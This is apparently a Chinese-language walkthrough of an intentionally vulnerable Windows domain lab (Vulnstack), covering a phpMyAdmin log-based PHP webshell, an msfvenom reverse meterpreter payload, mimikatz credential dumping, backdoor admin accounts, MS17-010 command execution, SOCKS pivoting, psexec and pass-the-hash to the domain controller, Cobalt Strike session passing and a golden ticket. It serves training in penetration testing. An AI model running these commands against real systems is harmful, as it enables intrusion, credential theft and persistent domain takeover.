环境搭建

靶场下载: http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

1

下载后, 解压三个压缩包, 分别为

1
2
3
vm1: windows7---web服务 (双网卡,分别连通外网和内网)
vm2: windows2003---域成员
vm3: windows Server 2008---DC

环境配置:

  • 在VMware 左上角“编辑—>虚拟网络编辑器”添加一段虚拟网络,设置为仅主机
    1

  • 给Win7外网服务器添加一张网卡,一张网卡为NAT(连通外网),另一张是我们刚刚添加的VMnat2(连通内网)
    1

  • 同样的, 内网域控还有域成员网卡都设置为VMnat2
    1
    1

  • 设置好后启动机器,密码均为 hongrisec@2019(登录时 提示密码过期需更改密码)
    登录Win7(外网服务器)打开phpStudy开启服务,这样环境就配置好了(位置:C:\phpStudy\phpStudy.exe)

其中若phpstudy启动失败(固定IP的问题), 可以尝试此解决方式(亲测有效): https://blog.csdn.net/qq_43871179/article/details/125307581

外网打点

信息收集

扫描本机网段,端口: nmap -PO 192.168.22.0/24 //探测存活ip还有端口
1

发现开放web服务以及MySQL服务, 访问地址是一个PHP探针(其中透露着网站的绝对路径)
1

在底部发现MySQL数据库连接
1

尝试弱口令(root:root)连接, 发现连接成功
1

接下来进行目录扫描, 发现phpmyadmin目录
1

那么利用弱口令进入后台, 尝试利用漏洞
1

漏洞利用

phpmyadmin后台getshell有几种方式: https://cloud.tencent.com/developer/article/2395998

这里选用一种能用的方式进行写入shell(数据库全局日志写入):

  • 查看日志信息 SHOW VARIABLES LIKE '%general%'
    1

  • 日志读写默认是关闭的,所以我们要打开 SET GLOBAL general_log='on';
    1

  • 将MySQL的通用查询日志(general query log)的输出文件设置为指定的路径 set global general_log_file = 'C:/phpStudy/WWW/1.php'
    1

  • 写入一句话木马 SELECT '<?php @eval($_POST["cmd"]);?>'
    1

  • 成功写入
    1

  • 蚁剑连接,成功上线
    1

  • 可以顺便进行一下信息收集

1
2
3
4
5
6
7
1.ipconfig 看所处网段是否有多个
2.netstat -ano 查看网络连接和开放端口
3.net start 查看启动的服务 用于提权
4.tasklist 查看开启的进程
5.tasklist /SVC 复制到在线杀软识别 看存在的杀软情况:https://i.hacking8.com/tiquan
6.ping baidu 看是否可以出网等
7.net user 存在用户

漏洞点2:

  • 在刚才的蚁剑界面, 发现有yxcms存在, 访问看看有无利用点
    1
    这里直接给出了后台…进入看看有无利用点

  • 在前台模板处发现可以写入shell
    1
    1
    具体的上线过程不再赘述

  • 此外还存在xss和sql注入等漏洞, 在此也不再赘述

后渗透

接下来将shell派送给CS或者msf进行下一步渗透

msf渗透

上线msf

  • 使用msf生成exe shell
1
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.191.128 LPORT=1234 -f exe -o shell.exe
  • 开启监听
1
2
3
4
5
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 192.168.191.128
set lport 1234
exploit -j
  • 用蚁剑将exe上传并执行
    1
    1

  • 得到反弹的msf shell

1
1

  • 进入反弹回来的会话中, 查看当前权限
    1

  • 发现已经是system权限了,不需要提权, 接下来获取密码

密码攻击

  • 利用hashdump抓取密码

1

1
2
3
4
5
6
7
8
9
10
11
12
Windows系统下的hash密码格式为:
用户名称:RID:LM-HASH值:NT-HASH值
NT-HASH hash生产方式:

1. 将明文口令转换成十六进制的格式
2. 转换成Unicode格式,即在每个字节之后添加0x00
3. 对Unicode字符串作MD4加密,生成32位的十六进制数字串

eg:用户密码为test123
转换成十六进制的格式为74657374313233
转换成Unicode格式为7400650073007400310032003300
对字符串7400650073007400310032003300作MD4加密,结果为c5a237b7e9d8e708d8436b6148a25fa1
  • 加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,该进程也需要是system权限
    • 查看进程 ps
      1
    • 把进程迁移到PID为520这个程序中(找一个x64的程序移进去就好) migrate [PID]
      1
    • 加载kiwi模块 load kiwi
      1
    • 执行命令抓取密码 kiwi_cmd sekurlsa::logonpasswords
      1
    • 也可以列举系统中的明文密码 creds_all
      1

远程桌面

  • 最后, 可以开启远程窗口服务, 完成此机器的渗透, 可以先执行命令 screenshot 尝试截取目标靶机的屏幕测试一下

  • 开启3389服务 run post/windows/manage/enable_rdp
    1

  • 测试一下 nmap -p 3389 192.168.191.128
    1

  • 进行连接

    • 进入shell shell, 创建用户并设置密码
      进入windows shell后乱码可以执行 chcp 65001 命令恢复
    1
    net user Hades ytm@123 /add   #密码最好不要太简单也不要含有用户名
    • 将用户提升到管理员权限
    1
    net localgroup administrators Hades /add
    • 最后再查看一下
    1
    net user
    • 在Kali上使用创建的账户远程登录被攻击的主机
    1
    rdesktop -u Hades 192.168.191.138

    1

msf横向移动

横向渗透前,先将该web服务器配置为代理服务器当作跳板机

隧道搭建:

  • msf+proxychains

    • 可用msf直接搭建sock隧道, 进入session, 自动创建路由 run post/multi/manage/autoroute
      1

    • 查看路由 run autoroute -p
      1

    • 退到上层,使用socks5进行代理

    1
    2
    3
    background
    use auxiliary/server/socks_proxy
    run

    1

    • run后 可用jobs查看任务是否执行
      1

    • 配置proxychains vi /etc/proxychains.conf
      1

    • 全局代理测试 proxychains curl 192.168.52.143/phpmyadmin
      1


那么至此, 成功构成利用msf构成socks5反向代理的隧道, 接下来进行内网的信息收集

  • 主机探活的一些模块
1
2
3
4
post/windows/gather/arp_scanner          #基于arp协议发现内网存活主机
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机

这里挑一个演示一下(arp_scanner):

1
2
3
4
5
6
7
use post/windows/gather/arp_scanner

set RHOSTS 192.168.52.0/24

set SESSION 1

exploit

1

探活结果:

1

结合发现内网内共存在三台主机

1
2
3
4
5
192.168.52.138/24

192.168.52.141/24

192.168.52.143/24
  • 内网主机服务探测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字
  • 查看域信息
    net view

  • 查看主域信息
    net view /domain

  • 内网主机端口扫描

1
2
3
4
5
proxychains nmap -Pn -sT 192.168.52.141

proxychains nmap -sS -sV -Pn 192.168.52.141

auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(默认扫描1-10000)

这里使用msf的模块扫描:
1


漏洞利用:

刚才根据扫描, 发现开放了445端口, 可以用MS17_010(永恒之蓝)攻击试一下 auxiliary/scanner/smb/smb_ms17_010
1

经过测试, 通过msf正向连接shell成功率不高, 其中的 auxiliary/admin/smb/ms17_010_command 模块可以正常使用, 尝试执行命令

1
2
3
4
5
6
7
use auxiliary/admin/smb/ms17_010_command

set COMMAND net user

set RHOST 192.168.52.141

run

1

可以成功执行命令, 之后尝试过之前提到过的连接远程桌面, 但在这里没成功
但是可以试着打开telnet服务, 通过telnet远程连接

  • 先添加一个用户并提升权限
1
2
3
4
5
6
7
8
set COMMAND net user hack Hades /add
exploit

set COMMAND net user hack ytm@123
exploit

set COMMAND net localgroup administrators Hades /add
exploit
  • 打开telnet服务
1
2
3
4
5
6
7
8
set COMMAND sc config tlntsvr start= auto
exploit

set COMMAND net start telnet
exploit

set COMMAND netstat -an #查看一下23端口号是否成功开启
exploit

1

  • telnet连接
1
2
3
4
use auxiliary/scanner/telnet/telnet_login
exploit

telnet 192.168.52.141 #在这一步输入刚创建的账号密码

1

至此, 这台服务器也成功拿下( ctrl+] 再输入q退出telnet)


其他一些思路: https://bwshen.blog.csdn.net/article/details/118338328

接下来, 我们用其他思路横向2008这台域控

  • psexec攻击(哈希传递): 通过之前密码攻击拿到的域管理员账号后,可以使用该域管理员账号密码利用 psexec 登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。

可以在win7的远程桌面上下载此工具(或者通过蚁剑上传): https://download.sysinternals.com/files/PSTools.zip

然后执行程序, 拿到域控的shell psexec.exe \\192.168.52.138 -u god\administrator -p hongrisec@2019 cmd

  • 获取到域管理员密码NTLM hash值时,可借助mimikatz进行进行登录域内其他电脑:sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:c456c606a647ef44b646c44a227917a4

还有很多方法, 目前就到这里吧, 接下来用cs演示一下渗透过程

cs渗透

  • 开启cs服务 ./teamserver <IP> <password>
    1

  • 创建监听器, 设置好监听端口, 开始监听
    1

  • 接下来可以通过cs中的 攻击—>生成后门—>Windows可执行文件 生成cs马, 以同样的方式在蚁剑shell中执行实现上线cs
    我这里使用msf和cs联动的方式将shell派发给cs:

1
2
3
4
5
6
7
use windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成
set lhost 192.168.191.128 #公网vps ip
set lport 5555 #监听端口
set session 1 #派发session id
exploit

1
1

  • 回连间隔改为0(这只是靶场操作,实战不要用容易被ban)
    1

  • 顺手先关个防火墙 shell netsh advfirewall set allprofiles state off
    1

  • 目前权限也是最高, 可以不用进行提权操作了, 这里因为是第二次渗透, 内网信息收集就不做过多演示了

  • 端口扫描 浏览探测—>端口扫描—>52内网段

1
1

  • 抓取明文密码等下横向会用到 凭证提权—>抓取明文密码
    1

cs横向移动

刚刚我们端口扫描的时候发现开放了445端口,可以创建SMB监听隧道

  • 创建SMB监听器
    1

  • 切换攻击目标列表
    1

  • 右建选择—> 横向移动 —> psexec
    1
    1

  • 横向成功,进入域控
    1

  • 按同样方式也可以拿下另一台域成员服务器
    1


权限持久化(黄金票据):
黄金票据是指能够绕过认证授权(Authentication and Authorization)机制并获得所需权限的票据。这种票据可以被攻击者收集和利用,从而从系统内部获取高权限,甚至完全控制系统。

  • 把SID,域名,复制下来等下黄金票据要用
1
2
3
4
5
hash: 58e91a5ac358d86513ab224312314061

SID: S-1-5-21-2952760202-1353902439-2381784089-1000

域名:GOD.ORG

1

  • 把刚刚复制的域名,SID粘贴上去,hash自动抓取了,用户名随意
    1

  • 成功获取
    1